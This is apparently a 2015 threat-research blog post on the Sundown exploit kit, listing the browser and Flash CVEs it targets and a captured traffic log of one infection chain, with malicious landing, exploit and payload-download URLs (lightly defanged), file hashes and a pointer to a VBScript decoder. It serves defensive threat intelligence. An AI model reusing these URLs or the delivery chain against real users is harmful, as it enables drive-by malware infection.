 |
| Sun Down - Top Gun |
Disclaimer : There is nothing worth a post there...except mentionning this EK is around.
I would put that "kit" in the same sad basket than Archie (same level, same kind of traffic source)
The exploit kit is out there since middle of April. I first heard about it by Will Metcalf from Emerging Threats.
Studying the TDS in front of it we concluded that this specific thread was focused on Japan, hence the name Will Metcalf decided to give. Please note that obviously this was only one thread and many are focused on other country or are even not delivery path "geo-locked".
TL:DNR
----
It has code to exploit :
CVE-2013-7331, CVE-2014-6332, CVE-2014-0569, CVE-2014-0556, CVE-2015-0311, CVE-2015-0313 , uses vbe
Powershell and IE dependant.
No decision tree : carpet bombing.
No locking feature yet (IP/Geo...etc - has to be done in front of it)
----
In one image :
 |
| Sundown EK 2015-06-08 |
GET http://dessawert.co .vu/?9a91fd589e97ce5c007615a4de72a74d7e8ffd
200 OK (text/html) Landing in Carpet bombing mode.
 |
| Sundown Landing - 2015-06-08 |
GET http://dessawert.co .vu/SDDS2/asddfs.php
200 OK (text/html)
GET http://dessawert.co .vu/JKHFLKJDGHBRKLJFGDBJHRFDGTBERHJKTERBHJ3/665h311.swf
200 OK (application/x-shockwave-flash) 9c58582d688b228f7e6aa7c81977fe39 CVE-2015-0311
GET http://dessawert.co .vu/JKHFLKJDGHBRKLJFGDBJHRFDGTBERHJKTERBHJ3/es6L313.swf
200 OK (application/x-shockwave-flash) dfa724814e82af648737e8bb59dd76d8 CVE-2015-0313
GET http://dessawert.co .vu/JKHFLKJDGHBRKLJFGDBJHRFDGTBERHJKTERBHJ3/asdt17.swf
200 OK (application/x-shockwave-flash) 8ae899555cd88b89e4762fb5653d1633 CVE-2014-0569
GET http://dessawert.co .vu/JKHFLKJDGHBRKLJFGDBJHRFDGTBERHJKTERBHJ3/street1.php
200 OK (text/html)
GET http://dessawert.co .vu/JKHFLKJDGHBRKLJFGDBJHRFDGTBERHJKTERBHJ3/5Z9T14.swf
200 OK (application/x-shockwave-flash) 37f0844c742e8ecd32cdfbaa290fed61 CVE-2014-0556
GET http://dessawert.co .vu/JKHFLKJDGHBRKLJFGDBJHRFDGTBERHJKTERBHJ3/street2.php
200 OK (text/html) CVE-2013-7331 and Wscript ActiveX
 |
| CVE-2013-7331 once decoded |
GET http://dessawert.co .vu/JKHFLKJDGHBRKLJFGDBJHRFDGTBERHJKTERBHJ3/street3.php
200 OK (text/html) Wscript ActiveX
GET http://dessawert.co .vu/JKHFLKJDGHBRKLJFGDBJHRFDGTBERHJKTERBHJ3/street4.php
200 OK (text/html) CVE-2014-6332
GET http://msiurgfhjrlsuhgfrslihkj.co .vu/SDDS2/d.php?d=EDWEDRFEDDF-3.exe
200 OK (Application/octet-stream) e0c925d1a0c5c7022bfb00ab8b63628e Payload
GET http://dessawert.co .vu/url.php
200 OK (text/html)
----------------
Note : you can use : ayra.ch VBScript encoder and decoder to decode those :
#@~^XXXXXX== [Stuff] ==^#~@
Login Screen :
 |
| Sundown - Customer login Screen |
 |
| Sundown - Panel |
Files : Fiddler and Piece of code.
Thanks : Will Metcalf and Fox-IT for inputs/intel